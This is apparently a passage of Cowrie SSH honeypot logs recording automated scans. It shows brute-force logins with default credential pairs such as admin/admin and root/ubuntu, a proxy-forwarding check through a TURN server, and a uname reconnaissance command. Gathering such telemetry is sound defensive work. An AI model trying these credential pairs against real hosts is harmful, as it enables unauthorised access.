{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":45686,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa1918433703","protocol":"ssh","message":"New connection: 45.148.10.121:45686 (159.203.135.109:22) [session: fa1918433703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:18:03.758658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:18:03.763365Z","src_ip":"45.148.10.121","session":"fa1918433703","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:18:03.847352Z","src_ip":"45.148.10.121","session":"fa1918433703","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:18:04.098104Z","src_ip":"45.148.10.121","session":"fa1918433703","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:18:04.184802Z","session":"fa1918433703","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:18:04.273068Z","src_ip":"45.148.10.121","session":"fa1918433703","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:18:04.276685Z","src_ip":"45.148.10.121","session":"fa1918433703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:18:04.363813Z","src_ip":"45.148.10.121","session":"fa1918433703","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":45696,"dst_ip":"159.203.135.109","dst_port":22,"session":"00918437e44f","protocol":"ssh","message":"New connection: 45.148.10.121:45696 (159.203.135.109:22) [session: 00918437e44f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:18:04.443741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:18:04.448568Z","src_ip":"45.148.10.121","session":"00918437e44f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:18:04.532737Z","src_ip":"45.148.10.121","session":"00918437e44f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:18:04.835164Z","src_ip":"45.148.10.121","session":"00918437e44f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:18:04.923267Z","session":"00918437e44f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:18:05.010680Z","src_ip":"45.148.10.121","session":"00918437e44f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:18:05.016591Z","src_ip":"45.148.10.121","session":"00918437e44f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:18:05.109811Z","src_ip":"45.148.10.121","session":"00918437e44f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":56794,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cf8ab2008ec","protocol":"ssh","message":"New connection: 190.244.39.224:56794 (10.17.0.5:22) [session: 6cf8ab2008ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:19:22.929490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:19:22.937197Z","src_ip":"190.244.39.224","session":"6cf8ab2008ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:19:23.128959Z","src_ip":"190.244.39.224","session":"6cf8ab2008ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"1qazxsw2","message":"login attempt [es/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:19:23.884859Z","src_ip":"190.244.39.224","session":"6cf8ab2008ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:19:25.074638Z","src_ip":"190.244.39.224","session":"6cf8ab2008ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":54550,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4c131f0a005","protocol":"ssh","message":"New connection: 193.32.162.145:54550 (159.203.135.109:22) [session: e4c131f0a005]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:19:38.899346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:19:38.905018Z","src_ip":"193.32.162.145","session":"e4c131f0a005","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:19:39.004507Z","src_ip":"193.32.162.145","session":"e4c131f0a005","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:19:39.412732Z","src_ip":"193.32.162.145","session":"e4c131f0a005","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:19:39.670027Z","src_ip":"193.32.162.145","session":"e4c131f0a005","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:19:39.673406Z","src_ip":"193.32.162.145","session":"e4c131f0a005","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:19:39.782149Z","src_ip":"193.32.162.145","session":"e4c131f0a005","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:19:39.787418Z","src_ip":"193.32.162.145","session":"e4c131f0a005","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.68.87.1","src_port":32840,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca5f7682832b","protocol":"ssh","message":"New connection: 102.68.87.1:32840 (10.17.0.5:22) [session: ca5f7682832b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:20:54.130952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:20:54.135977Z","src_ip":"102.68.87.1","session":"ca5f7682832b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:20:54.377732Z","src_ip":"102.68.87.1","session":"ca5f7682832b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:20:55.111356Z","src_ip":"102.68.87.1","session":"ca5f7682832b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:20:56.355786Z","src_ip":"102.68.87.1","session":"ca5f7682832b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.68.87.1","src_port":32854,"dst_ip":"10.17.0.5","dst_port":22,"session":"32f066e0826a","protocol":"ssh","message":"New connection: 102.68.87.1:32854 (10.17.0.5:22) [session: 32f066e0826a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:20:56.588042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:20:56.594681Z","src_ip":"102.68.87.1","session":"32f066e0826a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:20:56.830868Z","src_ip":"102.68.87.1","session":"32f066e0826a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:20:57.542747Z","src_ip":"102.68.87.1","session":"32f066e0826a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:20:58.781152Z","src_ip":"102.68.87.1","session":"32f066e0826a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.68.87.1","src_port":32864,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ffb4f2f1041","protocol":"ssh","message":"New connection: 102.68.87.1:32864 (10.17.0.5:22) [session: 8ffb4f2f1041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:20:59.017507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:20:59.022130Z","src_ip":"102.68.87.1","session":"8ffb4f2f1041","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:20:59.261452Z","src_ip":"102.68.87.1","session":"8ffb4f2f1041","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:20:59.981158Z","src_ip":"102.68.87.1","session":"8ffb4f2f1041","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:01.224349Z","src_ip":"102.68.87.1","session":"8ffb4f2f1041","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.68.87.1","src_port":32868,"dst_ip":"10.17.0.5","dst_port":22,"session":"49ac4991d30a","protocol":"ssh","message":"New connection: 102.68.87.1:32868 (10.17.0.5:22) [session: 49ac4991d30a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:02.467808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:21:02.473088Z","src_ip":"102.68.87.1","session":"49ac4991d30a","protocol":"ssh"}
